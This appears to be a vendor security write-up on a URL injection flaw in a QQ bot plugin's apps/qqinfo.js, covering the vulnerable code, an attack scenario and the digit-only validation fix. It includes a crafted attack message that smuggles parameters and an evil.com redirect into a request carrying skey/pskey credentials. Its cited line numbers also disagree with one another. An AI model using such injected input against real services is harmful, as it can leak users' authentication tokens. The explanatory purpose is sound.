Introduction
In a QQ bot application's apps/qqinfo.js file, we discovered a critical URL injection vulnerability at line 24 that could expose authentication credentials to attackers. The QQinfo class handles user queries for QQ account information, but a flaw in how it processes the mid variable—derived directly from user messages—created a serious security risk. The vulnerable code constructed external API URLs by directly concatenating user input without any validation, opening the door for attackers to manipulate request parameters and potentially redirect sensitive authentication tokens (skey and pskey) to malicious servers.
This matters because any application that builds URLs from user input without validation faces similar risks. Even seemingly harmless features like looking up user profiles can become attack vectors when input validation is missing.
The Vulnerability Explained
Let's examine the vulnerable code from apps/qqinfo.js:
let mid = atMsg?.qq || e.msg.replace(/#| |查询qq/g, "")
if (mid == "") {
return e.reply("请输入qq号或者直接艾特再发送命令", true)
}
// ... later in the code ...
const url = `http://jiuli.xiaoapi.cn/i/qq/qq_level.php?qq=${mid}&return=json&uin=${uinRegex}&skey=${skey}&pskey=${p_skey}`
logger.info(url)
const DATA_JSON = await fetch(url).then(res => res.json())
The problem is on line 26 (now line 25 after the fix). The code extracts mid from user messages by removing certain characters (#, spaces, and the Chinese text "查询qq"), but only checks if the result is an empty string. It never validates whether mid actually contains a valid QQ number (which should be purely numeric).
Here's what makes this exploitable:
The Attack Scenario:
An attacker could send a specially crafted message like:
查询qq12345&pskey=attacker_token&redirect=http://evil.com?data=
After the replace() operation removes "查询qq", the mid variable becomes:
12345&pskey=attacker_token&redirect=http://evil.com?data=
This passes the empty string check (mid != ""), and gets embedded directly into the URL:
http://jiuli.xiaoapi.cn/i/qq/qq_level.php?qq=12345&pskey=attacker_token&redirect=http://evil.com?data=&return=json&uin=${uinRegex}&skey=${skey}&pskey=${p_skey}
The Real-World Impact:
-
Credential Leakage: The attacker can inject additional parameters that might be logged by the third-party API server or cause the API to behave unexpectedly with sensitive credentials exposed in the URL.
-
Parameter Pollution: By injecting
&pskey=attacker_token, the attacker could override the legitimatepskeyparameter, potentially causing authentication failures or logging the real credentials alongside attacker-controlled values. -
Open Redirect: If the API endpoint has any redirect functionality, the injected parameters could redirect the request through attacker-controlled servers, where they can capture the full URL including the legitimate
skeyandpskeyvalues. -
Server-Side Request Forgery (SSRF): Depending on how the external API processes unexpected parameters, an attacker might be able to manipulate the server into making requests to internal services or attacker-controlled endpoints.
The vulnerability is particularly dangerous because the code logged the full URL (logger.info(url)), which would write the complete request including credentials to log files—potentially exposing them if logs are compromised or improperly secured.
The Fix
The fix is elegantly simple but highly effective. Here's what changed:
Before:
if (mid == "") {
return e.reply("请输入qq号或者直接艾特再发送命令", true)
}
After:
if (mid == "" || !/^\d+$/.test(mid)) {
return e.reply("请输入qq号或者直接艾特再发送命令", true)
}
What This Changes:
The fix adds a regex validation pattern !/^\d+$/.test(mid) that ensures mid contains only digits from start (^) to end ($). The exclamation mark (!) negates the test, so if the pattern doesn't match (meaning mid contains anything other than pure digits), the function returns early with an error message.
This prevents injection attacks because:
-
Strict Format Enforcement: Only numeric QQ IDs are accepted. Any attempt to inject special characters like
&,=,/,?, or.will fail validation. -
Attack Surface Elimination: The attacker cannot inject URL parameters, path traversal sequences, or redirect URLs because none of these can be expressed using only digits.
-
Defense in Depth: Even if an attacker finds a way to bypass the
replace()operation, the regex acts as a second layer of validation.
The fix also removes the logger.info(url) statement at line 41, which eliminates the risk of credentials being written to log files. This is an important security improvement because logs are often stored in less secure locations or transmitted to log aggregation services.
Why This Specific Change Works:
QQ numbers are always numeric identifiers. By enforcing this format at the validation layer, the code aligns with the actual business logic requirement. There's no legitimate use case where a QQ ID would contain special characters, so this validation doesn't break any valid functionality—it only blocks malicious input.
Key Takeaways
-
The
midvariable in qqinfo.js was vulnerable because it only checked for empty strings, not valid QQ number format — allowing attackers to inject URL parameters containing special characters like&,=, and?. -
Adding the regex validation
/^\d+$/.test(mid)prevents all injection attacks by ensuring only pure numeric input reaches the URL construction logic, eliminating the attack surface entirely. -
Logging complete URLs with authentication credentials (skey, pskey) creates a secondary vulnerability — the removal of
logger.info(url)prevents credential exposure through log files. -
URL injection can occur even when input undergoes some processing — the
replace()operation removed certain characters but didn't validate the result's format, showing that transformation alone isn't sufficient for security. -
Format validation should match business logic requirements — since QQ IDs are always numeric, enforcing this constraint provides both security and data integrity without breaking legitimate use cases.
How Orbis AppSec Detected This
Source: User-controlled message content accessed via e.msg in the QQinfo plugin command handler.
Sink: Template literal URL construction at line 39 where mid is embedded directly into the external API URL: http://jiuli.xiaoapi.cn/i/qq/qq_level.php?qq=${mid}&....
Missing control: No input validation to ensure mid contains only numeric characters before embedding it in the URL, allowing injection of arbitrary URL parameters and special characters.
CWE: CWE-20 (Improper Input Validation) leading to potential CWE-601 (URL Redirection to Untrusted Site) and credential leakage.
Fix: Added regex validation !/^\d+$/.test(mid) to reject any input containing non-digit characters, ensuring only valid QQ numbers proceed to URL construction.
Orbis AppSec automatically detected this vulnerability and opened a pull request with the fix. Try Orbis AppSec on your repositories to find and fix issues like this automatically.
Conclusion
This URL injection vulnerability in apps/qqinfo.js demonstrates how seemingly simple input handling can create serious security risks. By failing to validate that user input matched the expected format (numeric QQ IDs), the code allowed attackers to manipulate API requests and potentially expose authentication credentials. The fix—a single regex validation check—eliminates the entire attack surface by enforcing strict input format requirements.
The lesson for developers is clear: never trust user input, even after basic processing. Always validate that input conforms to expected formats before using it in security-sensitive operations like URL construction, database queries, or system commands. Combining format validation with proper encoding and secure coding practices creates defense-in-depth protection against injection attacks.